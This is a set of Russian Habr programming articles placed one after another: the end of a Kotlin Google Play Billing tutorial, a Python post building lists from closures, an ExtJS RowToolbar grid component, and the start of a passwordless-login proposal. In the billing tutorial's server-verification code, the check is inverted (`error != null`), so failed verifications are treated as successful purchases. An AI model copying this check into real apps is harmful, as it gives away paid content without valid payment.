"unlock\_feature" to unlockFeatureButton,
)
}
```
Объявим метод для отображения продуктов в UI, опираясь на логику [из предыдущей статьи](https://habr.com/ru/company/adapty/blog/568902/):
```
private fun displayProducts() {
billingClientWrapper.queryProducts(object : BillingClientWrapper.OnQueryProductsListener {
override fun onSuccess(products: List) {
products.forEach { product ->
purchaseButtonsMap[product.sku]?.apply {
text = "${product.description} for ${product.price}"
setOnClickListener {
billingClientWrapper.purchase(this@PaywallActivity, product) //will be declared below
}
}
}
}
override fun onFailure(error: BillingClientWrapper.Error) {
//handle error
}
})
}
```
`product.price` — это уже отформатированная строка с указанием местной валюты для данного аккаунта, здесь никакое дополнительное форматирование не нужно; остальные поля в объекте класса [SkuDetails](https://developer.android.com/reference/com/android/billingclient/api/SkuDetails) также приходят уже с учетом локализации.
### Запуск процесса покупки
Для проведения покупки необходимо вызвать метод [launchBillingFlow()](https://developer.android.com/reference/com/android/billingclient/api/BillingClient#launchBillingFlow(android.app.Activity,%20com.android.billingclient.api.BillingFlowParams)) из главного потока приложения.
Добавим для этого метод `purchase()` в `BillingClientWrapper`:
```
fun purchase(activity: Activity, product: SkuDetails) {
onConnected {
activity.runOnUiThread {
billingClient.launchBillingFlow(
activity,
BillingFlowParams.newBuilder().setSkuDetails(product).build()
)
}
}
}
```
У метода `launchBillingFlow()` нет колбэка, ответ вернется в метод `onPurchasesUpdated()`. Помните, мы [в прошлой статье](https://habr.com/ru/company/adapty/blog/568902/) его объявили, но оставили на потом? Вот сейчас он нам понадобится.
Метод `onPurchasesUpdated()` вызывается при каком-либо результате после взаимодействия пользователя с диалогом покупки. Это может быть успешная покупка, отмена покупки (пользователь закрыл диалог, в этом случае приходит код [BillingResponseCode.*USER\_CANCELED*](https://developer.android.com/reference/com/android/billingclient/api/BillingClient.BillingResponseCode#USER_CANCELED)) или же какая-то другая ошибка.
По аналогии с интерфейсом `OnQueryProductsListener` из предыдущей статьи, объявим в классе `BillingClientWrapper` интерфейс `OnPurchaseListener`, с помощью которого будем получать либо покупку (объект класса [Purchase](https://developer.android.com/reference/com/android/billingclient/api/Purchase) — о кейсе, когда он может быть null даже в случае успеха, расскажем в следующей статье), либо ошибку, которую мы также объявляли в предыдущей статье:
```
interface OnPurchaseListener {
fun onPurchaseSuccess(purchase: Purchase?)
fun onPurchaseFailure(error: Error)
}
var onPurchaseListener: OnPurchaseListener? = null
```
И реализуем его в PaywallActivity:
```
class PaywallActivity: BaseActivity(), BillingClientWrapper.OnPurchaseListener {
@Inject
lateinit var billingClientWrapper: BillingClientWrapper
private val purchaseButtonsMap: Map by lazy(LazyThreadSafetyMode.NONE) {
mapOf(
"premium\_sub\_month" to monthlySubButton,
"premium\_sub\_year" to yearlySubButton,
"coin\_pack\_large" to coinPackLargeButton,
"unlock\_feature" to unlockFeatureButton,
)
}
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity\_paywall)
billingClientWrapper.onPurchaseListener = this
displayProducts()
}
override fun onPurchaseSuccess(purchase: Purchase?) {
//handle successful purchase
}
override fun onPurchaseFailure(error: BillingClientWrapper.Error) {
//handle error or user cancelation
}
private fun displayProducts() {
billingClientWrapper.queryProducts(object : BillingClientWrapper.OnQueryProductsListener {
override fun onSuccess(products: List) {
products.forEach { product ->
purchaseButtonsMap[product.sku]?.apply {
text = "${product.description} for ${product.price}"
setOnClickListener {
billingClientWrapper.purchase(this@PaywallActivity, product)
}
}
}
}
override fun onFailure(error: BillingClientWrapper.Error) {
//handle error
}
})
}
}
```
Добавим логику в onPurchaseUpdated():
```
override fun onPurchasesUpdated(
billingResult: BillingResult,
purchaseList: MutableList?
) {
when (billingResult.responseCode) {
BillingClient.BillingResponseCode.OK -> {
if (purchaseList == null) {
//to be discussed in the next article
onPurchaseListener?.onPurchaseSuccess(null)
return
}
purchaseList.forEach(::processPurchase) //to be declared below
}
else -> {
//error occured or user canceled
onPurchaseListener?.onPurchaseFailure(
BillingClientWrapper.Error(
billingResult.responseCode,
billingResult.debugMessage
)
)
}
}
}
```
Если purchaseList не пустой, для начала для каждой покупки делаем проверку, что ее purchasedState равен [PurchaseState.PURCHASED](https://developer.android.com/reference/com/android/billingclient/api/Purchase.PurchaseState#PURCHASED), потому что покупки также могут быть [отложенными](https://developer.android.com/google/play/billing/integrate#pending), и в этом случае флоу на данном этапе прекращается. Далее, согласно [документации](https://developer.android.com/google/play/billing/integrate#process), нужно сделать серверную верификацию покупки, о ней мы расскажем в следующих статьях. После этого надо предоставить пользователю доступ к контенту и сообщить об этом в Google. Если не сообщить, то через три дня покупка автоматически отменится. Интересно, что это характерно только для Google Play, в то время как на iOS такого нет. Сообщить о предоставлении доступа к контенту можно двумя способами:
* с помощью [acknowledgePurchase()](https://developer.android.com/reference/com/android/billingclient/api/BillingClient#acknowledgepurchase) со стороны клиента;
* либо [Purchases.Products.Acknowledge](https://developers.google.com/android-publisher/api-ref/purchases/products/acknowledge)/[Purchases.Subscriptions.Acknowledge](https://developers.google.com/android-publisher/api-ref/purchases/subscriptions/acknowledge) со стороны бэка.
В случае с consumable-продуктом вместо него нужно вызвать метод `consumeAsync()`, который под капотом делает acknowledge, а заодно дает возможность покупать этот продукт повторно. Это можно сделать только с помощью Billing Library: Google Play Developer API почему-то не предоставляет возможность делать это на бэкенде. Любопытно, что, в отличие от Google Play, в App Store и в AppGallery свойство consumable за продуктом жестко определено на уровне App Store Connect и AppGallery Connect соответственно. Справедливости ради, замечу, что консьюмить такие продукты из AppGallery нужно всё-таки явно.
Напишем методы для acknowledge и consume, а также две версии метода `processPurchase()` — в случае, когда у нас есть свой бэкенд и когда его нет.
```
private fun acknowledgePurchase(
purchase: Purchase,
callback: AcknowledgePurchaseResponseListener
) {
onConnected {
billingClient.acknowledgePurchase(
AcknowledgePurchaseParams.newBuilder().setPurchaseToken(purchase.purchaseToken)
.build(),
callback::onAcknowledgePurchaseResponse
)
}
}
private fun consumePurchase(purchase: Purchase, callback: ConsumeResponseListener) {
onConnected {
billingClient.consumeAsync(
ConsumeParams.newBuilder().setPurchaseToken(purchase.purchaseToken).build()
) { billingResult, purchaseToken ->
callback.onConsumeResponse(billingResult, purchaseToken)
}
}
}
```
Без серверной верификации:
```
private fun processPurchase(purchase: Purchase) {
if (purchase.purchaseState == Purchase.PurchaseState.PURCHASED) {
onPurchaseListener?.onPurchaseSuccess(purchase)
if (purchase.skus.firstOrNull() == "coin_pack_large") {
//consuming our only consumable product
consumePurchase(purchase) { billingResult, purchaseToken ->
if (billingResult.responseCode != BillingClient.BillingResponseCode.OK) {
//implement retry logic or try to consume again in onResume()
}
}
} else if (!purchase.isAcknowledged) {
acknowledgePurchase(purchase) { billingResult ->
if (billingResult.responseCode != BillingClient.BillingResponseCode.OK) {
//implement retry logic or try to acknowledge again in onResume()
}
}
}
}
}
```
С серверной верификацией:
```
private fun processPurchase(purchase: Purchase) {
if (purchase.purchaseState == Purchase.PurchaseState.PURCHASED) {
api.verifyPurchase(purchase.purchaseToken) { error ->
if (error != null) {
onPurchaseListener?.onPurchaseSuccess(purchase)
if (purchase.skus.firstOrNull() == "coin_pack_large") {
//consuming our only consumable product
billingClient.consumeAsync(
ConsumeParams.newBuilder().setPurchaseToken(purchase.purchaseToken)
.build()
) { billingResult, purchaseToken ->
if (billingResult.responseCode != BillingClient.BillingResponseCode.OK) {
//implement retry logic or try to consume again in onResume()
}
}
}
} else {
//handle verification error
}
}
}
}
```
Подробнее о серверной верификации покупок мы расскажем в одной из следующих статей.
Во втором примере acknowledge, конечно, тоже можно было сделать на клиенте, но так как здесь у нас есть бэкенд, всё, что можно сделать на бэке, лучше отдать бэку. Что касается ошибок на acknowledge и consume, их нельзя игнорировать, потому что если ни одно из этих действий не произойдет в течение трёх дней после того, как покупка получила статус [PurchaseState.*PURCHASED*](https://developer.android.com/reference/com/android/billingclient/api/Purchase.PurchaseState#PURCHASED), она отменится, а пользователю вернут средства. Поэтому, если мы не можем это сделать на бэкенде, и даже после нескольких повторных попыток всё еще получаем ошибку, самый надежный способ — получать текущие покупки пользователя в каком-нибудь методе жизненного цикла, например в [onStart() или onResume()](https://developer.android.com/reference/androidx/lifecycle/Lifecycle.Event), и пытаться повторить в надежде, что пользователь в течение трёх дней зайдет в наше приложение при работающем интернете :).
Таким образом, текущая версия класса `BillingClientWrapper` будет выглядеть так:
```
import android.app.Activity
import android.content.Context
import com.android.billingclient.api.*
class BillingClientWrapper(context: Context, private val api: Api) : PurchasesUpdatedListener {
interface OnQueryProductsListener {
fun onSuccess(products: List)
fun onFailure(error: Error)
}
interface OnPurchaseListener {
fun onPurchaseSuccess(purchase: Purchase?)
fun onPurchaseFailure(error: Error)
}
var onPurchaseListener: OnPurchaseListener? = null
class Error(val responseCode: Int, val debugMessage: String)
private val billingClient = BillingClient
.newBuilder(context)
.enablePendingPurchases()
.setListener(this)
.build()
fun purchase(activity: Activity, product: SkuDetails) {
onConnected {
activity.runOnUiThread {
billingClient.launchBillingFlow(
activity,
BillingFlowParams.newBuilder().setSkuDetails(product).build()
)
}
}
}
fun queryProducts(listener: OnQueryProductsListener) {
val skusList = listOf("premium\_sub\_month", "premium\_sub\_year", "coin\_pack\_large", "unlock\_feature")
queryProductsForType(
skusList,
BillingClient.SkuType.SUBS
) { billingResult, skuDetailsList ->
if (billingResult.responseCode == BillingClient.BillingResponseCode.OK) {
val products = skuDetailsList ?: mutableListOf()
queryProductsForType(
skusList,
BillingClient.SkuType.INAPP
) { billingResult, skuDetailsList ->
if (billingResult.responseCode == BillingClient.BillingResponseCode.OK) {
products.addAll(skuDetailsList ?: listOf())
listener.onSuccess(products)
} else {
listener.onFailure(
Error(billingResult.responseCode, billingResult.debugMessage)
)
}
}
} else {
listener.onFailure(
Error(billingResult.responseCode, billingResult.debugMessage)
)
}
}
}
private fun queryProductsForType(
skusList: List,
@BillingClient.SkuType type: String,
listener: SkuDetailsResponseListener
) {
onConnected {
billingClient.querySkuDetailsAsync(
SkuDetailsParams.newBuilder().setSkusList(skusList).setType(type).build(),
listener
)
}
}
private fun onConnected(block: () -> Unit) {
billingClient.startConnection(object : BillingClientStateListener {
override fun onBillingSetupFinished(billingResult: BillingResult) {
block()
}
override fun onBillingServiceDisconnected() {
// Try to restart the connection on the next request to
// Google Play by calling the startConnection() method.
}
})
}
override fun onPurchasesUpdated(
billingResult: BillingResult,
purchaseList: MutableList?
) {
when (billingResult.responseCode) {
BillingClient.BillingResponseCode.OK -> {
if (purchaseList == null) {
//to be discussed in the next article
onPurchaseListener?.onPurchaseSuccess(null)
return
}
purchaseList.forEach(::processPurchase)
}
else -> {
//error occured or user canceled
onPurchaseListener?.onPurchaseFailure(
BillingClientWrapper.Error(
billingResult.responseCode,
billingResult.debugMessage
)
)
}
}
}
private fun processPurchase(purchase: Purchase) {
if (purchase.purchaseState == Purchase.PurchaseState.PURCHASED) {
api.verifyPurchase(purchase.purchaseToken) { error ->
if (error != null) {
onPurchaseListener?.onPurchaseSuccess(purchase)
if (purchase.skus.firstOrNull() == "coin\_pack\_large") {
//consuming our only consumable product
billingClient.consumeAsync(
ConsumeParams.newBuilder().setPurchaseToken(purchase.purchaseToken)
.build()
) { billingResult, purchaseToken ->
if (billingResult.responseCode != BillingClient.BillingResponseCode.OK) {
//implement retry logic or try to consume again in onResume()
}
}
}
} else {
//handle verification error
}
}
}
}
private fun acknowledgePurchase(
purchase: Purchase,
callback: AcknowledgePurchaseResponseListener
) {
onConnected {
billingClient.acknowledgePurchase(
AcknowledgePurchaseParams.newBuilder().setPurchaseToken(purchase.purchaseToken)
.build(),
callback::onAcknowledgePurchaseResponse
)
}
}
private fun consumePurchase(purchase: Purchase, callback: ConsumeResponseListener) {
onConnected {
billingClient.consumeAsync(
ConsumeParams.newBuilder().setPurchaseToken(purchase.purchaseToken).build()
) { billingResult, purchaseToken ->
callback.onConsumeResponse(billingResult, purchaseToken)
}
}
}
}
```
Вы могли задаться вопросом, почему кнопки активны для всех продуктов, независимо от того, покупал их пользователь или нет. Или что будет, если купить обе подписки: заменит ли вторая первую или они обе будут сосуществовать. Всё это в следующих статьях :)
Про Adapty
----------
Cоветую познакомиться с [Adapty — SDK для встроенных покупок](https://adapty.io?utm_source=habr.com&utm_medium=referral&utm_campaign=blogpost_ios-iap_configuration-and-adding).
Он не только упрощает работу по добавлению покупок:
* [Встроенная аналитика](https://adapty.io/subscription-analytics?utm_source=habr.com&utm_medium=referral&utm_campaign=blogpost_ios-iap_configuration-and-adding) позволяет быстро понять основные метрики приложения.
* Когортный анализ отвечает на вопрос, [как быстро сходится экономика.](https://habr.com/ru/company/adapty/blog/564748/)
* А/Б тесты увеличивают выручку приложения.
* Интеграции с внешними системами позволяют отправлять транзакции в сервисы атрибуции и продуктовой аналитики.
* [Промо-кампании](https://adapty.io/return-subscribers?utm_source=habr.com&utm_medium=referral&utm_campaign=blogpost_android_initialization-and-processing) уменьшают отток аудитории.
* Open source SDK позволяет интегрировать подписки в приложение за несколько часов.
* Серверная валидация и API для работы с другими платформами.
[Познакомьтесь подробнее с этими возможностями](https://adapty.io?utm_source=habr.com&utm_medium=referral&utm_campaign=blogpost_android_initialization-and-processing), чтобы быстрее внедрить подписки в своё приложение и улучшить конверсии. | https://habr.com/ru/post/571122/ | null | ru | null |
# Создание простейших структур данных с помощью функций в Python
**Вступление**: Позапрошлым летом я открыл для себя великолепную книгу **SICP** — чтение только первого раздела книги открыло для меня новый мир функционального программирования. Анонимные функции, функции, что возвращают функции, функции высших порядков. Во втором разделе книги авторы показали, что возможно с помощью одних только функций создавать различные структуры данных, такие как пара, список, или даже деревья! Сегодня мне бы хотелось реализовать кое-какие идеи из этой книги на языке программирования Python. Конечно же, исключительно с помощью функций.
**Начало**: Python – это замечательный язык программирования, который поддерживает практически все парадигмы программирования. Python прост в понимании, и для чтения этой статьи достаточно базового знания языка. Не будет также лишним немного просмотреть эту [статью](http://habrahabr.ru/post/193920/).
**I. Создание пары.**Что такое пара?
Пара — это упорядоченный набор, который состоит из двух элементов, предположительно, разных типов. Стоит отметить, что в ЯП Python, кортеж ( пара — это частный случай кортежа) — это особый тип данных, который очень часто используется, и создается следующим образом: **p = (a1,a2,..,an)**. Но так как мы условились использовать только функции, нам придется создать свою собственную реализацию пары:
```
def make_pair(x,y):
return lambda n: x if n==0 else y
def first(p):
return p(0)
def second(p):
return p(1)
```
Постойте! Но ведь make\_pair возвращает функцию, а не пару. На самом деле – пара в нашем представлении это и есть функция, что принимает на вход аргумент любое число, и возвращает первый элемент, если аргумент равен 0, и второй в противоположном случае. Для повышения уровня абстракции мы также создали функции доступа к элементам нашей пары: **first** и **second**. Убедимся, что наша реализация пары работает, как нужно:
```
p = make_pair(5,6)
first(p) #5
second(p) #6
p1 = make_pair('hello',6)
first(p1) #'hello'
```
**II. Список** Что такое список?
> Список — это абстрактный тип данных, представляющий собой упорядоченный набор значений, в котором некоторое значение может встречаться более одного раза.
Сейчас мы реализуем связный список — одну из возможных реализаций списка.
> Свя́зный спи́сок — базовая динамическая структура данных в информатике, состоящая из узлов, каждый из которых содержит как собственно данные, так и одну или две ссылки («связки») на следующий и/или предыдущий узел списка
На самом деле, связный список можно представить, как пару, которая состоит из двух значений: «голова» списка и его «хвост». К примеру, список [1,2,3,4] можно представить следующим образом:
```
l = make_pair(1,make_pair(2,make_pair(3,4)))
first(l) #1
first(second(l)) #2
```
Теперь добавим поддержку пустых списков. Пустой список — это список, который не содержит ни одного элемента. При обращении к его элементам, он должен каким-то образом сообщать об ошибке.
```
def nil():
def closure(n):
raise Exception
return closure
null = nil()
first(null) #Exception
second(null) #Exception
def create_list(x):
return make_pair(x,null)
```
К сожалению, функции **first** и **second** не являются интуитивно-понятными функциями доступа к элементам списка. Гораздо привычнее работать с функциями **head** и **tail**
```
def head(l):
return first(l)
def tail(l):
return second(l)
```
Здесь стоит вспомнить о том, что в Python функции являются [объектами первого класса](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%8A%D0%B5%D0%BA%D1%82_%D0%BF%D0%B5%D1%80%D0%B2%D0%BE%D0%B3%D0%BE_%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D0%B0)
Поэтому, код можно значительно упростить:
```
head = first
tail = second
```
Базовой операцией над списком есть добавление нового элемента в голову списка:
```
def add_to_list(l,x):
return make_pair(x,l)
```
Все исключительно просто: мы создаем новый список, «головой» которого будет новый элемент, а «хвостом» — предыдущий список.
Здесь можно остановиться, ведь фактически мы создали полноценный тип данных — список, но, пожалуй, стоит также рассмотреть операции обхода списка.
```
def iterate_over_list(l,f):
if l==null:
return
else:
f(head(l))
iterate_over_list(tail(l),f)
```
Самая простая операция — проход по всем элементам и вызов некоторой функции f к каждому элементу списка. К примеру, с помощью этой функции можно вывести список на экран:
```
def print_list(l):
def put(n):
print n
iterate_over_list(l,put)
l = create_list(5)
l =add_to_list(l,6)
l = add_to_list(l,7)
print_list(l) #7 6 5
```
Каким образом работает функция **iterate\_over\_list**? Она рекурсивно применяет функцию f к голове списка L, пока L не станет равен пустому списку.
Теперь реализуем базовые функциональные операции над списками:
**map(l,f)** — это функция, которая переводит список в новый список, применяя к его элементам некоторую функцию f.
**filter(l,p)** — это функция, которая создает новый список, в который попадают только те элементы, которые соответствуют некоторому предикату p.
**accumulate(l,op,initial)** — более известна, как reduce.
Функция \_map работает рекурсивно: если список пуст, то возвращаем пустой список, в противоположном случае возвращаем новый список, «головой» которого будет результат применения функции f к первому элементу списка l, а «хвостом» будет результат применения функции \_map к «хвосту» списка l.
```
def _map(l,f):
if null_seq(l):
return null
else:
return make_pair(f(head(l)),_map(tail(l),f))
l = make_list(5)
l = add_to_list(l,6)
l = add_to_list(l,7)
l2 = _map(l,lambda n: n*n)
iterate_over_list(l2,pr) # 49 36 25
def _filter(l,p):
if null_seq(l):
return null
else:
if p(head(l)):
return make_pair(head(l),_filter(tail(l),p))
else:
return _filter(tail(l),p)
def accumulate(l,op,initial):
if null_seq(l):
return initial
else:
return accumulate(tail(l),op,op(initial,head(l)))
#вычисление суммы списка с помощью функции accumulate
from operator import add
_sum = accumulate(l,add,0)
```
И последний штрих — функция **range**. Если вы дочитали до этого элемента — то наверняка в состоянии реализовать эту функцию самостоятельно.
**Решение**Содержимое
```
def create_range(start,end):
if start==end:
return null
else:
return make_pair(start,create_range(start+1,end))
l = create_range(0,10)
print_list(l) #0 1 2 3 4 5 6 7 8 9
```
**Вместо заключения**
Конечно, никто не станет использовать подобные техники в «настоящем» программировании, но я надеюсь, что эта статья все-таки сможет кому-то помочь освоиться в функциональном программировании. | https://habr.com/ru/post/262021/ | null | ru | null |
# Компонент для интеграции строк Ext.grid.Panel с Ext.toolbar.Toolbar
В рамках создания административной части одного из проектов, мне посчастливилось разработать довольно стройный компонент, элегантно дополняющий достаточно богатый функционал библиотеки ExtJS 4.
Пример использования: <http://siterra.org/examples/rowtoolbar.html>
Репозиторий: <https://github.com/siterra/RowToolbar>
Тестировался с ExtJS 4.1.1a.
Решил разместить его в свободном доступе под лицензией Apache License 2.0. Тем более, что получился он достаточно легким, но при этом весьма удобным в использовании.
Проблема, которую решает компонент, звучит как необходимость создания функциональных кнопок для каждой отдельной строки в таблице наиболее гибким образом.
Разумеется, для решения подобной задачи существует «actioncolumn». Однако, для его элемента нет нормальной возможности добавить подпись к кнопке. Но вместо размещения кнопок в дополнительной колонке, было принято решения перенести их на новую строку для большей наглядности, т.к. работнику, зачастую, достаточно лишь прочесть первую ячейку, чтобы начать тянуться к функциональной кнопке.
```
/*
Copyright 2013 Siterra Ltd. (www.siterra.org)
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
Ext.define('Ext.ux.grid.features.RowToolbar', {
extend: 'Ext.grid.feature.Feature',
alias: 'feature.rowtoolbar',
rowToolbarCls: 'app-grid-feature-rowtoolbar',
/* @param renderTimeout (int)
* Timeout for delay before render items. Required, because we have no events to call
* our render after data loads and grid rendered. It can be edit, then computer is too
* slow to render so fast.
*/
renderTimeout: 1,
toolbar: {},
init: function() {
this.toolbar = Ext.applyIf(this.toolbar, {
xclass: 'Ext.toolbar.Toolbar',
padding: '0 16 0 0',
cls: 'grid-feature-rowtoolbar-instance',
baseCls: '',
baseId: Ext.id() + '-rowtoolbar',
/* @optional
* @param isDisabledForRecord (function)
* Function gives a record to check enable item or not for it
* inputs
* @param record
* @return boolean
*/
/* @optional
* @param isVisibleForRecord (function)
* Function gives a record to check visibility of item
* inputs
* @param record
* @return boolean
*/
/* @optional
* @param hiddenItemsSavePosition (boolean)
* With this flag is true and element is hidden, then it's width
* doesn't 0. Visibility doesn't influence on positioning othe items.
*/
listeners: {
scope: this,
afterrender: function(tbar) {
Ext.each(tbar.items.items, function(item) {
if (item.isDisabledForRecord) {
var is_disabled = item.isDisabledForRecord(item, tbar.record);
item.setDisabled(is_disabled);
}
if (item.isVisibleForRecord) {
var is_visible = item.isVisibleForRecord(item, tbar.record);
if (item.hiddenItemsSavePosition) {
item.getEl().dom.style.visibility = (is_visible ? 'visible' : 'hidden');
} else {
item.setVisible(is_visible);
}
}
}, this);
}
}
/* @variable renderedItems
* Keeps rendered components created with help of this toolbar config
*/
/* each renderedItem has
* @variable record
* what links to it's own record in store
* Keeps rendered components created with help of this toolbar config
*/
});
},
renderItems: function() {
this.toolbar.renderedItems = [];
var els = Ext.query('.'+ this.toolbar.baseId +'-wrap', this.grid.getEl().dom);
Ext.each(els, function(el) {
// clone toolbar config for each row
var tb_clone = Ext.clone(this.toolbar);
tb_clone.items = Ext.clone(this.items);
// find record in store for current row
var row = Ext.get(el).up('.x-grid-row');
if (row) {
tb_clone.record = this.grid.getView().getRecord(row);
}
// create and render toolbar for current row
tb_clone = Ext.create(tb_clone);
el.innerHTML = '';
tb_clone.render(el);
// remember an item
this.toolbar.renderedItems.push(tb_clone);
}, this);
},
getRowToolbar: function() {
var tpl =
'|'+
' '+
''+
' |'+
'
';
return tpl;
},
embedColSpan: function() {
return '{rowToolbarColspan}';
},
getAdditionalData: function(data, idx, record, orig) {
var colspan = this.view.headerCt.getColumnCount();
return {
rowToolbarCls: this.rowToolbarCls,
rowToolbarColspan: colspan
};
},
mutateMetaRowTpl: function(metaRowTpl) {
metaRowTpl.push(this.getRowToolbar());
},
getMetaRowTplFragments: function() {
// render toolbar after some time
Ext.defer(this.renderItems, this.renderTimeout, this);
return {
embedColSpan: this.embedColSpan
};
}
});
```
Представленная разработка подключается к таблице как «feature». При этом требует после себя подключение компонента «rowwrap». Это необходимо для сохранения визуального оформления таблицы и удобного управления строками.
```
features: [{
ftype: 'rowtoolbar',
items: [
...
]
},{
ftype: 'rowwrap'
}]
```
Объявленные в поле items элементы, будут созданы столько раз, сколько в таблице будет строк после загрузки данных. Иногда рождается необходимость изменять флаги «hidden» и «disabled». Поэтому в RowToolbar созданы функции isDisabledForRecord и isVisibleForRecord. Каждая из функций получает 2 параметра: экземпляр элемента RowToolbar, и Ext.data.Record (Ext.data.Model), сопоставленный с обрабатываемой строкой таблицы. Таким образом, в зависимости от содержимого строки, становится возможным менять отображение элементов. | https://habr.com/ru/post/168413/ | null | ru | null |
# Идентификация клиентов на сайтах без паролей и cookie: заявка на стандарт
Уважаемые Хаброжители! Уважаемые эксперты! Представляю на вашу оценку новую концепцию идентификации пользователей на веб-сайтах, которая, как я надеюсь, с вашей помощью станет открытым интернет-стандартом, сделав этот интернет-мир чуточку лучше. Это вариант черновика протокола беспарольной идентификации, оформленный в виде вольной статьи. И если идея, положенная в его основу, получит от вас, уважаемый читатель, положительную оценку, я продолжу публикацию его на reddit.com и rfc-editor.org. И надеюсь, мне удастся заинтересовать в его реализации разработчиков ведущих браузеров. Потому ожидаю от вас конструктивную критику.
Внимание: очень много текста.
Итак, вопрос. Возможна ли однозначная идентификация посетителей сайта без раскрытия их персональных данных и отслеживания между разными сайтами? Можно ли, решая такую задачу, вообще отказаться от самой примитивной формы авторизации по логину/паролю и использования cookie/localStorage?
С одной стороны, сайтам необходимо узнавать клиента, чтобы, например, «восстановить» его настройки, корзину продуктов, объявления, статьи и т.п. С другой, посетителям хочется оставаться максимально анонимными, не раскрывая свои персональные данные, и не давая сторонним сайтам отследить их. А последние, могут это сделать, путём обмена между собой собранными данными.
Звучит как задача сделать так, чтобы и волки были сыты, да овцы целы. Реально ли это?
Я, думаю, что до определенной степени, – реально.
Оглавление
==========
[1 Концепция беспарольной идентификации](#part1)
[1.1 Ключи и токены вместо логинов и паролей](#tokens_vs_passwords)
[1.2 Структура токена](#token_structure)
[1.3 HTTP-заголовки протокола](#http_headers)
[1.4 Как происходит идентификация клиентов сайтами?](#how_site_identify_us)
[1.4.2 Как узнать, что сайт поддерживает этот протокол?](#how_we_know_what_sci_supported)
[1.5 Как происходит авторизация клиентов сайтами?](#how_make_authorization)
[1.6 А как реализовать надежную идентификацию клиентов?](#how_implement_reliable_identification)
[1.7 Авторизация на сайте глазами пользователя](#user_view_concept)
[1.8 Как происходит смена ключа сайта?](#how_user_can_change_key)
[1.9 Как реализуется кросс-доменная авторизация?](#how_make_cross_domain_auth)
[1.10 Как реализовать меж-доменную идентификацию?](#how_make_sub_domain_identify)
[1.11 Мобильность учетных записей](#user_mobility)
[2 Техническое описание протокола](#part2)
[2.0 Алгоритм формирования ключа домена](#perm_key_algo)
[2.1 Алгоритм вычисления исходного токена](#token_algo)
[2.2 Алгоритм защиты токена при передаче](#token_validation_algo)
[2.3 Процедура обмена солью между браузером и сервером](#salt_exchange_algo)
[2.4 Правила формирования поля Context](#context_rules)
[2.5 Правила определения полей Sender и Recipient](#sender_recipient_rules)
[2.6 Подробнее о значениях таблиц определения Context](#context_tables_comments)
[2.7 Сценарии работы протокола](#protocol_scenario)
[2.8 Обработка токенов на сервере](#server_token_processing)
[2.9 Меж-доменная идентификация](#sub_domain_identify)
[3 Рекомендации по безопасности](#part3)
[3.1 Защита ключевой информации от НСД](#keys_NAA_protection)
[3.2 О паролях в качестве ключей доменов](#why_password_for_keys_not_good)
[3.3 Риски потери/компрометации ключей и их минимизация](#risks_loss_keys)
[4 Атаки на схему авторизации](#part4)
[4.1 Трекинг пользователя](#attack_user_tracking)
[4.2 Атака вида XSS](#attack_XSS)
[4.3 Атака вида СSRF](#attack_CSRF)
[4.4 Трекинг с использованием схемы SSO](#attack_SSO)
[4.5 Компрометация ключа для SSO](#attack_sso_key_discredit)
[4.6 Компрометация токена при передаче](#attack_token_compromise_due_transmit)
[4.7 Взлом сайта и компрометация токенов](#attack_token_compromise_due_site_hacking)
[Заключение](#epilog)
**А что не так с паролями?**Да всё не так. Их можно потерять. Их могут угнать. Их надо запоминать. Да и вообще, почему я обязан заполнять какую-то форму регистрации и придумывать очередной пароль, чтобы посмотреть погоду или скачать этот файл? Наконец, паролей чуть менее, чем много. Сколько вы любите сайтов, столько у вас и паролей. А потому, многие реально используют один пароль на все сайты. Кое кто использует хитрый алгоритм их запоминания. Или менеджер паролей. Или, тупо, – блокнот. Или предпочитает кросс-доменную авторизацию: авторизуешься однократно на одном сайте, и всё! Да не всё. Это, если сайт поддерживает её.
Все эти подходы имеют недостатки.
Использовать один пароль на разных сайтах – моветон. Что знают двое – знает и свинья. Не все сайты (даже крупные и авторитетные) честно выполняют правила безопасности по хранению ваших паролей. Некоторые сайты хранят пароли в отрытом виде, а другие думают, то хранение хэшей паролей уже достаточно их защищает. Как результат, утечки паролей и других персональных данных клиентов случаются регулярно.
С менеджером паролей уже лучше. Правда никто не гарантирует вам, что он не сливает ваши пароли куда-то. Да и поди найди менеджер, который может синхронизировать ваши учётки на всех устройствах (домашний нетбук, телефон, рабочий комп). Не исключаю, что такой существует.
Но в любом случае, сама идея: сначала зарегистрируйся на нашем сайте (при этом сообщи email, mobile, сдай кровь на анализы), потом сам придумай/запомни свой логин и пароль и будь добр их как-то помни, да храни в тайне – подход, я скажу вам, так себе. И его не решит ни один менеджер паролей. Зато решает SSO.
Вот только незадача: если потеряешь пароль от SSO-сайта и забудешь, или его у тебя угонят… Ты разом теряешь доступ от всех своих сайтов или добровольно отдаешь его непонятно кому и не понятно с какими намерениями. **Не храните все яйца в одной корзине!**
И ещё не факт, что SSO-сайт надёжен. Или не хранит ваши пароли в открытом виде. Или не сливает вообще их добровольно, плюс предоставляет возможность другим отслеживать вас между сайтами. Ну вы поняли.
Поэтому: логин + пароль = зло. А всё зло в мире должно быть выпилено всерьез и надолго. И cookie тоже. Вместе с его сессионными крокодилами PHPSESSIONID, JSESSIONID, и их аналогами.
**И что же делать?**Для начала необходимо рассмотреть типовые ситуации, из которых будет ясно: для чего сайты хотят запомнить своих клиентов и так ли это им на самом деле необходимо?
1. Персональный блог «Васи Пупкина», в котором, например, разрешены комментарии. Регистрация нужна лишь для того, чтобы защититься от ботов, проводить голосования без накруток, подсчитывать «лайки» и другие «мяу-мяу», назначать рейтинг комментаторам. Т.е. здесь **функционал отслеживания нужен исключительно сайту**, и лишь в малой степени – пользователю (если он дорожит своим рейтингом «комментатора» на этом сайте).
2. Сайты соц.сетей и другие интернет-говорильни (аська, skype – туда же). Регистрация нужна для реализации именованного (авторского) контента, идентификации посетителей друг другом. Т.е. здесь **функционал идентификации нужен в большей степени самим пользователям**. Хотя сайты соц.сетей первые в списке «грешников», собирающих о посетителях максимально полную информацию и запоминающими вас в серьез и надолго. Так что ещё не известно, кому больше нужна идентификация.
